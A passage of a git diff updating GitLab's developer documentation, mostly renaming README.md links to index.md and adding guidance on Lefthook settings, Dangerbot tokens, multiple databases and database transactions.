| `form` | [Rails FormBuilder object](https://apidock.com/rails/ActionView/Helpers/FormBuilder). | [`ActionView::Helpers::FormBuilder`](https://apidock.com/rails/ActionView/Helpers/FormBuilder) | `true` |
| `setting_locked` | If the setting is locked by an ancestor group or admin setting. Can be calculated with [`cascading_namespace_setting_locked?`](https://gitlab.com/gitlab-org/gitlab/-/blob/c2736823b8e922e26fd35df4f0cd77019243c858/app/helpers/namespaces_helper.rb#L86). | `Boolean` | `true` |
| `settings_path_helper` | Lambda function that generates a path to the ancestor setting. For example, `settings_path_helper: -> (locked_ancestor) { edit_group_path(locked_ancestor, anchor: 'js-permissions-settings') }` | `Lambda` | `true` |
| `help_text` | Text shown below the checkbox. | `String` | `false` (`nil`) |
-[`_setting_label_fieldset.html.haml`](https://gitlab.com/gitlab-org/gitlab/-/blob/c2736823b8e922e26fd35df4f0cd77019243c858/app/views/shared/namespaces/cascading_settings/_setting_label_fieldset.html.haml)
+[`_setting_label_fieldset.html.haml`](https://gitlab.com/gitlab-org/gitlab/-/blob/c2736823b8e922e26fd35df4f0cd77019243c858/app/views/shared/namespaces/cascading_settings/_setting_label_fieldset.html.haml)
-Renders the label for a fieldset setting.
+Renders the label for a fieldset setting.
| Local | Description | Type | Required (default value) |
|:-----------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------|:-------------------------|
| `attribute` | Name of the setting. For example, `:delayed_project_removal`. | `String` or `Symbol` | `true` |
+| `group` | Current group. | [`Group`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/group.rb) | `true` |
| `setting_locked` | If the setting is locked. Can be calculated with [`cascading_namespace_setting_locked?`](https://gitlab.com/gitlab-org/gitlab/-/blob/c2736823b8e922e26fd35df4f0cd77019243c858/app/helpers/namespaces_helper.rb#L86). | `Boolean` | `true` |
| `settings_path_helper` | Lambda function that generates a path to the ancestor setting. For example, `-> (locked_ancestor) { edit_group_path(locked_ancestor, anchor: 'js-permissions-settings') }` | `Lambda` | `true` |
| `help_text` | Text shown below the checkbox. | `String` | `false` (`nil`) |
-[`_lock_popovers.html.haml`](https://gitlab.com/gitlab-org/gitlab/-/blob/b73353e47e283a7d9c9eda5bdedb345dcfb685b6/app/views/shared/namespaces/cascading_settings/_lock_popovers.html.haml)
+[`_lock_popovers.html.haml`](https://gitlab.com/gitlab-org/gitlab/-/blob/b73353e47e283a7d9c9eda5bdedb345dcfb685b6/app/views/shared/namespaces/cascading_settings/_lock_popovers.html.haml)
-Renders the mount element needed to initialize the JavaScript used to display the popover when hovering over the lock icon. This partial is only needed once per page.
+Renders the mount element needed to initialize the JavaScript used to display the popover when hovering over the lock icon. This partial is only needed once per page.
### JavaScript
-[`initCascadingSettingsLockPopovers`](https://gitlab.com/gitlab-org/gitlab/-/blob/b73353e47e283a7d9c9eda5bdedb345dcfb685b6/app/assets/javascripts/namespaces/cascading_settings/index.js#L4)
+[`initCascadingSettingsLockPopovers`](https://gitlab.com/gitlab-org/gitlab/-/blob/b73353e47e283a7d9c9eda5bdedb345dcfb685b6/app/assets/javascripts/namespaces/cascading_settings/index.js#L4)
Initializes the JavaScript needed to display the popover when hovering over the lock icon (**{lock}**).
This function should be imported and called in the [page-specific JavaScript](fe_guide/performance.md#page-specific-javascript).
diff --git a/doc/development/changelog.md b/doc/development/changelog.md
index f0c37af42ab..c96fe2c18c1 100644
--- a/doc/development/changelog.md
+++ b/doc/development/changelog.md
@@ -81,7 +81,7 @@ EE: true
- Any change that introduces a database migration, whether it's regular, post,
or data migration, **must** have a changelog entry, even if it is behind a
- disabled feature flag.
+ disabled feature flag.
- [Security fixes](https://gitlab.com/gitlab-org/release/docs/blob/master/general/security/developer.md)
**must** have a changelog entry, with `Changelog` trailer set to `security`.
- Any user-facing change **must** have a changelog entry. Example: "GitLab now
@@ -98,6 +98,7 @@ EE: true
database records created during Cycle Analytics model spec."
- _Any_ contribution from a community member, no matter how small, **may** have
a changelog entry regardless of these guidelines if the contributor wants one.
+- [Removing](feature_flags/#changelog) a feature flag, when the new code is retained.
## Writing good changelog entries
@@ -188,4 +189,4 @@ documentation](https://git-scm.com/book/en/v2/Git-Tools-Rewriting-History).
---
-[Return to Development documentation](README.md)
+[Return to Development documentation](index.md)
diff --git a/doc/development/chatops_on_gitlabcom.md b/doc/development/chatops_on_gitlabcom.md
index 4ae49103d1b..26fcf520393 100644
--- a/doc/development/chatops_on_gitlabcom.md
+++ b/doc/development/chatops_on_gitlabcom.md
@@ -28,7 +28,7 @@ To request access to ChatOps on GitLab.com:
1. Confirm that your username in [Internal GitLab for Operations](https://ops.gitlab.net/)
is the same as your username in [GitLab.com](https://gitlab.com/). If the usernames
- don't match, update the username at [Internal GitLab for Operations](https://ops.gitlab.net/).
+ don't match, update the username in [User Settings/Account for the Ops instance](https://ops.gitlab.net/-/profile/account).
1. Comment in your onboarding issue, and tag your onboarding buddy and your manager.
Request they add you to the `ops` ChatOps project by running this command
diff --git a/doc/development/cicd/cicd_reference_documentation_guide.md b/doc/development/cicd/cicd_reference_documentation_guide.md
index 14a313daba8..33bc416d8bc 100644
--- a/doc/development/cicd/cicd_reference_documentation_guide.md
+++ b/doc/development/cicd/cicd_reference_documentation_guide.md
@@ -4,7 +4,7 @@ group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# CI/CD YAML reference style guide
+# CI/CD YAML reference style guide **(FREE)**
The CI/CD YAML reference uses a standard style to make it easier to use and update.
@@ -91,7 +91,7 @@ Keyword description and main details.
### YAML reference style example
-See the [`only:changes` / `except:changes`](../../ci/yaml/README.md#onlychanges--exceptchanges)
+See the [`only:changes` / `except:changes`](../../ci/yaml/index.md#onlychanges--exceptchanges)
documentation for an example of the YAML reference style. The following example is a
shortened version of that documentation's Markdown:
diff --git a/doc/development/cicd/index.md b/doc/development/cicd/index.md
index 025d63f4a62..6d4e19d8196 100644
--- a/doc/development/cicd/index.md
+++ b/doc/development/cicd/index.md
@@ -5,14 +5,14 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: index, concepts, howto
---
-# CI/CD development documentation
+# CI/CD development documentation **(FREE)**
Development guides that are specific to CI/CD are listed here.
If you are creating new CI/CD templates, please read [the development guide for GitLab CI/CD templates](templates.md).
See the [CI/CD YAML reference documentation guide](cicd_reference_documentation_guide.md)
-to learn how to update the [reference page](../../ci/yaml/README.md).
+to learn how to update the [reference page](../../ci/yaml/index.md).
## CI Architecture overview
@@ -27,13 +27,13 @@ On the left side we have the events that can trigger a pipeline based on various
- A `git push` is the most common event that triggers a pipeline.
- The [Web API](../../api/pipelines.md#create-a-new-pipeline).
- A user clicking the "Run pipeline" button in the UI.
-- When a [merge request is created or updated](../../ci/merge_request_pipelines/index.md#pipelines-for-merge-requests).
-- When an MR is added to a [Merge Train](../../ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md#merge-trains).
+- When a [merge request is created or updated](../../ci/pipelines/merge_request_pipelines.md#pipelines-for-merge-requests).
+- When an MR is added to a [Merge Train](../../ci/pipelines/merge_trains.md#merge-trains).
- A [scheduled pipeline](../../ci/pipelines/schedules.md#pipeline-schedules).
-- When project is [subscribed to an upstream project](../../ci/multi_project_pipelines.md#trigger-a-pipeline-when-an-upstream-project-is-rebuilt).
+- When project is [subscribed to an upstream project](../../ci/pipelines/multi_project_pipelines.md#trigger-a-pipeline-when-an-upstream-project-is-rebuilt).
- When [Auto DevOps](../../topics/autodevops/index.md) is enabled.
- When GitHub integration is used with [external pull requests](../../ci/ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests).
-- When an upstream pipeline contains a [bridge job](../../ci/yaml/README.md#trigger) which triggers a downstream pipeline.
+- When an upstream pipeline contains a [bridge job](../../ci/yaml/index.md#trigger) which triggers a downstream pipeline.
Triggering any of these events invokes the [`CreatePipelineService`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/ci/create_pipeline_service.rb)
which takes as input event data and the user triggering it, then attempts to create a pipeline.
@@ -42,7 +42,7 @@ The `CreatePipelineService` relies heavily on the [`YAML Processor`](https://git
component, which is responsible for taking in a YAML blob as input and returns the abstract data structure of a
pipeline (including stages and all jobs). This component also validates the structure of the YAML while
processing it, and returns any syntax or semantic errors. The `YAML Processor` component is where we define
-[all the keywords](../../ci/yaml/README.md) available to structure a pipeline.
+[all the keywords](../../ci/yaml/index.md) available to structure a pipeline.
The `CreatePipelineService` receives the abstract data structure returned by the `YAML Processor`,
which then converts it to persisted models (pipeline, stages, jobs, etc.). After that, the pipeline is ready
@@ -61,7 +61,7 @@ successfully or fail. Each status transition for job within a pipeline triggers
looks for the next jobs to be transitioned towards completion. While doing that, `ProcessPipelineService`
updates the status of jobs, stages and the overall pipeline.
-On the right side of the diagram we have a list of [runners](../../ci/runners/README.md)
+On the right side of the diagram we have a list of [runners](../../ci/runners/index.md)
connected to the GitLab instance. These can be shared runners, group runners, or project-specific runners.
The communication between runners and the Rails server occurs through a set of API endpoints, grouped as
the `Runner API Gateway`.
@@ -79,12 +79,12 @@ case the runner downloads them using a dedicated API endpoint.
Artifacts are stored in object storage, while metadata is kept in the database. An important example of artifacts
are reports (JUnit, SAST, DAST, etc.) which are parsed and rendered in the merge request.
-Job status transitions are not all automated. A user may run [manual jobs](../../ci/yaml/README.md#whenmanual), cancel a pipeline, retry
+Job status transitions are not all automated. A user may run [manual jobs](../../ci/yaml/index.md#whenmanual), cancel a pipeline, retry
specific failed jobs or the entire pipeline. Anything that
causes a job to change status triggers `ProcessPipelineService`, as it's responsible for
tracking the status of the entire pipeline.
-A special type of job is the [bridge job](../../ci/yaml/README.md#trigger) which is executed server-side
+A special type of job is the [bridge job](../../ci/yaml/index.md#trigger) which is executed server-side
when transitioning to the `pending` state. This job is responsible for creating a downstream pipeline, such as
a multi-project or child pipeline. The workflow loop starts again
from the `CreatePipelineService` every time a downstream pipeline is triggered.
diff --git a/doc/development/cicd/templates.md b/doc/development/cicd/templates.md
index 8331985697e..204287d7b59 100644
--- a/doc/development/cicd/templates.md
+++ b/doc/development/cicd/templates.md
@@ -7,7 +7,7 @@ type: index, concepts, howto
# Development guide for GitLab CI/CD templates
-This document explains how to develop [GitLab CI/CD templates](../../ci/examples/README.md).
+This document explains how to develop [GitLab CI/CD templates](../../ci/examples/index.md).
## Requirements for CI/CD templates
@@ -16,7 +16,7 @@ Before submitting a merge request with a new or updated CI/CD template, you must
- Place the template in the correct [directory](#template-directories).
- Follow the [CI/CD template authoring guidelines](#template-authoring-guidelines).
- Name the template following the `*.gitlab-ci.yml` format.
-- Use valid [`.gitlab-ci.yml` syntax](../../ci/yaml/README.md). Verify it's valid
+- Use valid [`.gitlab-ci.yml` syntax](../../ci/yaml/index.md). Verify it's valid
with the [CI/CD lint tool](../../ci/lint.md).
- Include [a changelog](../changelog.md) if the merge request introduces a user-facing change.
- Follow the [template review process](#contribute-cicd-template-merge-requests).
@@ -59,8 +59,8 @@ don't have any other `.gitlab-ci.yml` files.
When authoring pipeline templates:
-- Place any [global keywords](../../ci/yaml/README.md#global-keywords) like `image`
- or `before_script` in a [`default`](../../ci/yaml/README.md#custom-default-keyword-values)
+- Place any [global keywords](../../ci/yaml/index.md#global-keywords) like `image`
+ or `before_script` in a [`default`](../../ci/yaml/index.md#custom-default-keyword-values)
section at the top of the template.
- Note clearly in the [code comments](#explain-the-template-with-comments) if the
template is designed to be used with the `includes` keyword in an existing
@@ -68,7 +68,7 @@ When authoring pipeline templates:
A **job template** provides specific jobs that can be added to an existing CI/CD
workflow to accomplish specific tasks. It usually should be used by adding it to
-an existing `.gitlab-ci.yml` file by using the [`includes`](../../ci/yaml/README.md#global-keywords)
+an existing `.gitlab-ci.yml` file by using the [`includes`](../../ci/yaml/index.md#global-keywords)
keyword. You can also copy and paste the contents into an existing `.gitlab-ci.yml` file.
Configure job templates so that users can add them to their current pipeline with very
@@ -77,7 +77,7 @@ other pipeline configuration.
When authoring job templates:
-- Do not use [global](../../ci/yaml/README.md#global-keywords) or [`default`](../../ci/yaml/README.md#custom-default-keyword-values)
+- Do not use [global](../../ci/yaml/index.md#global-keywords) or [`default`](../../ci/yaml/index.md#custom-default-keyword-values)
keywords. When a root `.gitlab-ci.yml` includes a template, global or default keywords
might be overridden and cause unexpected behavior. If a job template requires a
specific stage, explain in the code comments that users must manually add the stage
@@ -127,8 +127,8 @@ job2:
#### Use `rules` instead of `only` or `except`
-Avoid using [`only` or `except`](../../ci/yaml/README.md#only--except) if possible.
-Only and except is not being developed any more, and [`rules`](../../ci/yaml/README.md#rules)
+Avoid using [`only` or `except`](../../ci/yaml/index.md#only--except) if possible.
+Only and except is not being developed any more, and [`rules`](../../ci/yaml/index.md#rules)
is now the preferred syntax:
```yaml
diff --git a/doc/development/code_review.md b/doc/development/code_review.md
index df09b27c6b4..929e75e7774 100644
--- a/doc/development/code_review.md
+++ b/doc/development/code_review.md
@@ -74,6 +74,7 @@ page, with these behaviors:
1. It doesn't pick people whose Slack or [GitLab status](../user/profile/index.md#set-your-current-status):
- contains the string 'OOO', 'PTO', 'Parental Leave', or 'Friends and Family'
- emoji is `:palm_tree:`, `:beach:`, `:beach_umbrella:`, `:beach_with_umbrella:`, `:ferris_wheel:`, `:thermometer:`, `:face_with_thermometer:`, `:red_circle:`, `:bulb:`, `:sun_with_face:`.
+ - GitLab user busy indicator is set to true
1. [Trainee maintainers](https://about.gitlab.com/handbook/engineering/workflow/code-review/#trainee-maintainer)
are three times as likely to be picked as other reviewers.
1. Team members whose Slack or [GitLab status](../user/profile/index.md#set-your-current-status) emoji
@@ -383,7 +384,7 @@ Before taking the decision to merge:
- Set the milestone.
- Consider warnings and errors from danger bot, code quality, and other reports.
Unless a strong case can be made for the violation, these should be resolved
- before merging. A comment must to be posted if the MR is merged with any failed job.
+ before merging. A comment must be posted if the MR is merged with any failed job.
- If the MR contains both Quality and non-Quality-related changes, the MR should be merged by the relevant maintainer for user-facing changes (backend, frontend, or database) after the Quality related changes are approved by a Software Engineer in Test.
If a merge request is fundamentally ready, but needs only trivial fixes (such as
@@ -422,7 +423,7 @@ WARNING:
do not merge the merge request** except for
[very specific cases](https://about.gitlab.com/handbook/engineering/workflow/#criteria-for-merging-during-broken-master).
For other cases, follow these [handbook instructions](https://about.gitlab.com/handbook/engineering/workflow/#merging-during-broken-master).
- - If the **latest [Pipeline for Merged Results](../ci/merge_request_pipelines/pipelines_for_merged_results/#pipelines-for-merged-results)** finished less than 2 hours ago, you
+ - If the **latest [Pipeline for Merged Results](../ci/pipelines/pipelines_for_merged_results.md)** finished less than 2 hours ago, you
might merge without starting a new pipeline as the merge request is close
enough to `main`.
- When you set the MR to "Merge When Pipeline Succeeds", you should take over
@@ -444,7 +445,7 @@ Merge Results against the latest `main` at the time of the pipeline creation.
WARNING:
**Review all changes thoroughly for malicious code before starting a
-[Pipeline for Merged Results](../ci/merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project).**
+[Pipeline for Merged Results](../ci/pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project).**
When reviewing merge requests added by wider community contributors:
@@ -604,7 +605,7 @@ A merge request may benefit from being considered a customer critical priority b
Properties of customer critical merge requests:
-- The [Senior Director of Development](https://about.gitlab.com/job-families/engineering/engineering-management/#senior-director-engineering) ([@clefelhocz1](https://gitlab.com/clefelhocz1)) is the DRI for deciding if a merge request is customer critical.
+- The [VP of Development](https://about.gitlab.com/job-families/engineering/development/management/vp) ([@clefelhocz1](https://gitlab.com/clefelhocz1)) is the DRI for deciding if a merge request qualifies as customer critical.
- The DRI applies the `customer-critical-merge-request` label to the merge request.
- It is required that the reviewer(s) and maintainer(s) involved with a customer critical merge request are engaged as soon as this decision is made.
- It is required to prioritize work for those involved on a customer critical merge request so that they have the time available necessary to focus on it.
@@ -644,4 +645,4 @@ Largely based on the [`thoughtbot` code review guide](https://github.com/thought
---
-[Return to Development documentation](README.md)
+[Return to Development documentation](index.md)
diff --git a/doc/development/contributing/issue_workflow.md b/doc/development/contributing/issue_workflow.md
index 840434ebbc3..aa1b353c634 100644
--- a/doc/development/contributing/issue_workflow.md
+++ b/doc/development/contributing/issue_workflow.md
@@ -36,7 +36,7 @@ the affected files to find someone.
We also use [GitLab Triage](https://gitlab.com/gitlab-org/gitlab-triage) to automate
some triaging policies. This is currently set up as a scheduled pipeline
(`https://gitlab.com/gitlab-org/quality/triage-ops/pipeline_schedules/10512/editpipeline_schedules/10512/edit`,
-must have at least Developer access to the project) running on [quality/triage-ops](https://gitlab.com/gitlab-org/quality/triage-ops)
+must have at least the Developer role in the project) running on [quality/triage-ops](https://gitlab.com/gitlab-org/quality/triage-ops)
project.
## Labels
@@ -149,7 +149,7 @@ and `~"group::knowledge"` is picked up by someone in the Access group of the Pla
the issue should be relabeled as `~"group::access"` while keeping the original
`~"devops::create"` unchanged.
-We also use stage and group labels to help measure our [merge request rates](https://about.gitlab.com/handbook/engineering/merge-request-rate/).
+We also use stage and group labels to help measure our [merge request rates](https://about.gitlab.com/handbook/engineering/metrics/#merge-request-rate).
Please read [Stage and Group labels](https://about.gitlab.com/handbook/engineering/metrics/#stage-and-group-labels) for more information on how the labels are used in this context.
### Category labels
diff --git a/doc/development/contributing/merge_request_workflow.md b/doc/development/contributing/merge_request_workflow.md
index 783cf7af6fc..a6dcac47910 100644
--- a/doc/development/contributing/merge_request_workflow.md
+++ b/doc/development/contributing/merge_request_workflow.md
@@ -31,7 +31,7 @@ If you are new to GitLab development (or web development in general), see the
some potentially easy issues.
To start developing GitLab, download the [GitLab Development Kit](https://gitlab.com/gitlab-org/gitlab-development-kit)
-and see the [Development section](../../README.md) for the required guidelines.
+and see the [Development section](../../index.md) for the required guidelines.
## Merge request guidelines
@@ -158,8 +158,8 @@ Commit messages should follow the guidelines below, for reasons explained by Chr
Example commit message template that can be used on your machine that embodies the above (guide for [how to apply template](https://codeinthehole.com/tips/a-useful-template-for-commit-messages/)):
```plaintext
-# (If applied, this commit will...) <subject> (Max 50 char)
-# |<---- Using a Maximum Of 50 Characters ---->|
+# (If applied, this commit will...) <subject> (Max 72 characters)
+# |<---- Using a Maximum Of 72 Characters ---->|
# Explain why this change is being made
diff --git a/doc/development/contributing/style_guides.md b/doc/development/contributing/style_guides.md
index 20e47b501e6..5a54e3afbea 100644
--- a/doc/development/contributing/style_guides.md
+++ b/doc/development/contributing/style_guides.md
@@ -91,8 +91,32 @@ To skip some checks based on tags when pushing, you can set the `LEFTHOOK_EXCLUD
LEFTHOOK_EXCLUDE=frontend,documentation git push ...
```
+As an alternative, you can create `lefthook-local.yml` with this structure:
+
+```yaml
+pre-push:
+ exclude_tags:
+ - frontend
+ - documentation
+```
+
For more information, check out [Lefthook documentation](https://github.com/Arkweid/lefthook/blob/master/docs/full_guide.md#skip-some-tags-on-the-fly).
+### Skip or enable a specific Lefthook check
+
+To skip or enable a check based on its name when pushing, you can add `skip: true`
+or `skip: false` to the `lefthook-local.yml` section for that hook. For instance,
+you might want to enable the gettext check to detect issues with `locale/gitlab.pot`:
+
+```yaml
+pre-push:
+ commands:
+ gettext:
+ skip: false
+```
+
+For more information, check out [Lefthook documentation Skipping commands section](https://github.com/evilmartians/lefthook/blob/master/docs/full_guide.md#skipping-commands).
+
## Ruby, Rails, RSpec
Our codebase style is defined and enforced by [RuboCop](https://github.com/rubocop-hq/rubocop).
@@ -128,8 +152,12 @@ reduces the aforementioned [bike-shedding](https://en.wiktionary.org/wiki/bikesh
To that end, we encourage creation of new RuboCop rules in the codebase.
+We currently maintain Cops across several Ruby code bases, and not all of them are
+specific to the GitLab application.
When creating a new cop that could be applied to multiple applications, we encourage you
to add it to our [GitLab Styles](https://gitlab.com/gitlab-org/gitlab-styles) gem.
+If the Cop targets rules that only apply to the main GitLab application,
+it should be added to [GitLab](https://gitlab.com/gitlab-org/gitlab) instead.
### Resolving RuboCop exceptions
diff --git a/doc/development/dangerbot.md b/doc/development/dangerbot.md
index 68268027b73..8f5788785f0 100644
--- a/doc/development/dangerbot.md
+++ b/doc/development/dangerbot.md
@@ -58,7 +58,7 @@ itself, increasing visibility.
## Development guidelines
-Danger code is Ruby code, so all our [usual backend guidelines](README.md#backend-guides)
+Danger code is Ruby code, so all our [usual backend guidelines](index.md#backend-guides)
continue to apply. However, there are a few things that deserve special emphasis.
### When to use Danger
@@ -119,13 +119,12 @@ However, you can speed these cycles up somewhat by emptying the
to revert the change before merging!
To enable the Dangerfile on another existing GitLab project, run the following
-extra steps, based on [this procedure](https://danger.systems/guides/getting_started.html#creating-a-bot-account-for-danger-to-use):
+extra steps:
-1. Add `@gitlab-bot` to the project as a `reporter`.
-1. Add the `@gitlab-bot`'s `GITLAB_API_PRIVATE_TOKEN` value as a value for a new CI/CD
- variable named `DANGER_GITLAB_API_TOKEN`.
+1. Create a [Project access tokens](../user/project/settings/project_access_tokens.md).
+1. Add the token as a CI/CD project variable named `DANGER_GITLAB_API_TOKEN`.
-You should add the `~Danger bot` label to the merge request before sending it
+You should add the ~"Danger bot" label to the merge request before sending it
for review.
## Current uses
@@ -153,10 +152,11 @@ at GitLab so far:
Danger is run but its output is not added to a merge request comment if working
on a fork. This happens because the secret variable from the canonical project
is not shared to forks. To work around this, you can add an [environment
-variable](../ci/variables/README.md) called `DANGER_GITLAB_API_TOKEN` with a
-personal API token to your fork. That way the danger comments are made from CI
-using that API token instead. Making the variable
-[masked](../ci/variables/README.md#mask-a-cicd-variable) makes sure it
+variable](../ci/variables/index.md) called `DANGER_GITLAB_API_TOKEN` with a
+[personal API token](https://gitlab.com/-/profile/personal_access_tokens?name=GitLab+Dangerbot&scopes=api)
+to your fork that has the `api` scope set. That way the danger comments are made
+from CI using that API token instead. Making the variable
+[masked](../ci/variables/index.md#mask-a-cicd-variable) makes sure it
doesn't show up in the job logs. The variable cannot be
-[protected](../ci/variables/README.md#protect-a-cicd-variable), as it needs
+[protected](../ci/variables/index.md#protect-a-cicd-variable), as it needs
to be present for all feature branches.
diff --git a/doc/development/database/database_reviewer_guidelines.md b/doc/development/database/database_reviewer_guidelines.md
index 16734dada13..7a9c08d9d49 100644
--- a/doc/development/database/database_reviewer_guidelines.md
+++ b/doc/development/database/database_reviewer_guidelines.md
@@ -62,6 +62,9 @@ The following guides provide a quick introduction and links to follow on more ad
- Guide on [understanding EXPLAIN plans](../understanding_explain_plans.md).
- [Explaining the unexplainable series in `depesz`](https://www.depesz.com/tag/unexplainable/).
+We also have licensed access to The Art of PostgreSQL available, if you are interested in getting access please check out the
+[issue (confidential)](https://gitlab.com/gitlab-org/database-team/team-tasks/-/issues/23).
+
Finally, you can find various guides in the [Database guides](index.md) page that cover more specific
topics and use cases. The most frequently required during database reviewing are the following:
diff --git a/doc/development/database/multiple_databases.md b/doc/development/database/multiple_databases.md
new file mode 100644
index 00000000000..2895cef86fc
--- /dev/null
+++ b/doc/development/database/multiple_databases.md
@@ -0,0 +1,101 @@
+---
+stage: Enablement
+group: Sharding
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Multiple Databases
+
+In order to scale GitLab, the GitLab application database
+will be [decomposed into multiple
+databases](https://gitlab.com/groups/gitlab-org/-/epics/6168).
+
+## CI Database
+
+Support for configuring the GitLab Rails application to use a distinct
+database for CI tables was added in [GitLab
+14.1](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64289). This
+feature is still under development, and is not ready for production use.
+
+By default, GitLab is configured to use only one main database. To
+opt-in to use a main database, and CI database, modify the
+`config/database.yml` file to have a `main` and a `ci` database
+configurations. For example, given a `config/database.yml` like below:
+
+```yaml
+development:
+ adapter: postgresql
+ encoding: unicode
+ database: gitlabhq_development
+ host: /path/to/gdk/postgresql
+ pool: 10
+ prepared_statements: false
+ variables:
+ statement_timeout: 120s
+
+test: &test
+ adapter: postgresql
+ encoding: unicode
+ database: gitlabhq_test
+ host: /path/to/gdk/postgresql
+ pool: 10
+ prepared_statements: false
+ variables:
+ statement_timeout: 120s
+```
+
+Edit the `config/database.yml` to look like this:
+
+```yaml
+development:
+ main:
+ adapter: postgresql
+ encoding: unicode
+ database: gitlabhq_development
+ host: /path/to/gdk/postgresql
+ pool: 10
+ prepared_statements: false
+ variables:
+ statement_timeout: 120s
+ ci:
+ adapter: postgresql
+ encoding: unicode
+ database: gitlabhq_development_ci
+ migrations_paths: db/ci_migrate
+ host: /path/to/gdk/postgresql
+ pool: 10
+ prepared_statements: false
+ variables:
+ statement_timeout: 120s
+
+test: &test
+ main:
+ adapter: postgresql
+ encoding: unicode
+ database: gitlabhq_test
+ host: /path/to/gdk/postgresql
+ pool: 10
+ prepared_statements: false
+ variables:
+ statement_timeout: 120s
+ ci:
+ adapter: postgresql
+ encoding: unicode
+ database: gitlabhq_test_ci
+ migrations_paths: db/ci_migrate
+ host: /path/to/gdk/postgresql
+ pool: 10
+ prepared_statements: false
+ variables:
+ statement_timeout: 120s
+```
+
+### Migrations
+
+Any migrations that affect `Ci::BaseModel` models
+and their tables must be placed in two directories for now:
+
+- `db/migrate`
+- `db/ci_migrate`
+
+We aim to keep the schema for both tables the same across both databases.
diff --git a/doc/development/database/not_null_constraints.md b/doc/development/database/not_null_constraints.md
index 9d1850f5504..48b198b46bd 100644
--- a/doc/development/database/not_null_constraints.md
+++ b/doc/development/database/not_null_constraints.md
@@ -175,7 +175,7 @@ class CleanupEpicsWithNullDescription < ActiveRecord::Migration[6.0]
end
```
-#### Validate the text limit (next release)
+#### Validate the `NOT NULL` constraint (next release)
Validating the `NOT NULL` constraint will scan the whole table and make sure that each record is correct.
@@ -201,7 +201,7 @@ end
## `NOT NULL` constraints on large tables
-If you have to clean up a text column for a [high-traffic table](../migration_style_guide.md#high-traffic-tables)
+If you have to clean up a nullable column for a [high-traffic table](../migration_style_guide.md#high-traffic-tables)
(for example, the `artifacts` in `ci_builds`), your background migration will go on for a while and
it will need an additional [background migration cleaning up](../background_migrations.md#cleaning-up)
in the release after adding the data migration.
diff --git a/doc/development/database/pagination_guidelines.md b/doc/development/database/pagination_guidelines.md
index ce656851f86..b7209b4ca30 100644
--- a/doc/development/database/pagination_guidelines.md
+++ b/doc/development/database/pagination_guidelines.md
@@ -66,7 +66,7 @@ Offset-based pagination is the easiest way to paginate over records, however, it
- Avoid using page numbers, use next and previous page buttons.
- Keyset pagination doesn't support page numbers.
- For APIs, advise against building URLs for the next page by "hand".
- - Promote the usage of the [`Link` header](../../api/README.md#pagination-link-header) where the URLs for the next and previous page are provided by the backend.
+ - Promote the usage of the [`Link` header](../../api/index.md#pagination-link-header) where the URLs for the next and previous page are provided by the backend.
- This way changing the URL structure is possible without breaking backward compatibility.
NOTE:
diff --git a/doc/development/database/pagination_performance_guidelines.md b/doc/development/database/pagination_performance_guidelines.md
index ade1e853027..90e4faf2de7 100644
--- a/doc/development/database/pagination_performance_guidelines.md
+++ b/doc/development/database/pagination_performance_guidelines.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
---
# Pagination performance guidelines
-
+
The following document gives a few ideas for improving the pagination (sorting) performance. These apply both on [offset](pagination_guidelines.md#offset-pagination) and [keyset](pagination_guidelines.md#keyset-pagination) paginations.
## Tie-breaker column
diff --git a/doc/development/database/rename_database_tables.md b/doc/development/database/rename_database_tables.md
index 743558fae19..8ac50d2c0a0 100644
--- a/doc/development/database/rename_database_tables.md
+++ b/doc/development/database/rename_database_tables.md
@@ -81,7 +81,7 @@ Execute a standard migration (not a post-migration):
when naming indexes, so there is a possibility that not all indexes are properly renamed. After running
the migration locally, check if there are inconsistently named indexes (`db/structure.sql`). Those can be
renamed manually in a separate migration, which can be also part of the release M.N+1.
-- Foreign key columns might still contain the old table name. For smaller tables, follow our [standard column
+- Foreign key columns might still contain the old table name. For smaller tables, follow our [standard column
rename process](../avoiding_downtime_in_migrations.md#renaming-columns)
- Avoid renaming database tables which are using with triggers.
- Table modifications (add or remove columns) are not allowed during the rename process, please make sure that all changes to the table happen before the rename migration is started (or in the next release).
diff --git a/doc/development/database/transaction_guidelines.md b/doc/development/database/transaction_guidelines.md
new file mode 100644
index 00000000000..1c25496b153
--- /dev/null
+++ b/doc/development/database/transaction_guidelines.md
@@ -0,0 +1,117 @@
+---
+stage: Enablement
+group: Database
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Transaction guidelines
+
+This document gives a few examples of the usage of database transactions in application code.
+
+For further reference please check PostgreSQL documentation about [transactions](https://www.postgresql.org/docs/current/tutorial-transactions.html).
+
+## Database decomposition and sharding
+
+The [sharding group](https://about.gitlab.com/handbook/engineering/development/enablement/sharding) plans to split the main GitLab database and move some of the database tables to other database servers.
+
+The group will start decomposing the `ci_*` related database tables first. To maintain the current application development experience, tooling and static analyzers will be added to the codebase to ensure correct data access and data modification methods. By using the correct form for defining database transactions, we can save significant refactoring work in the future.
+
+## The transaction block
+
+The `ActiveRecord` library provides a convenient way to group database statements into a transaction.
+
+```ruby
+issue = Issue.find(10)
+project = issue.project
+
+ApplicationRecord.transaction do
+ issue.update!(title: 'updated title')
+ project.update!(last_update_at: Time.now)
+end
+```
+
+This transaction involves two database tables, in case of an error, each `UPDATE` statement will be rolled back to the previous, consistent state.
+
+NOTE:
+Avoid referencing the `ActiveRecord::Base` class and use `ApplicationRecord` instead.
+
+## Transaction and database locks
+
+When a transaction block is opened, the database will try to acquire the necessary locks on the resources. The type of locks will depend on the actual database statements.
+
+Consider a concurrent update scenario where the following code is executed at the same time from two different processes:
+
+```ruby
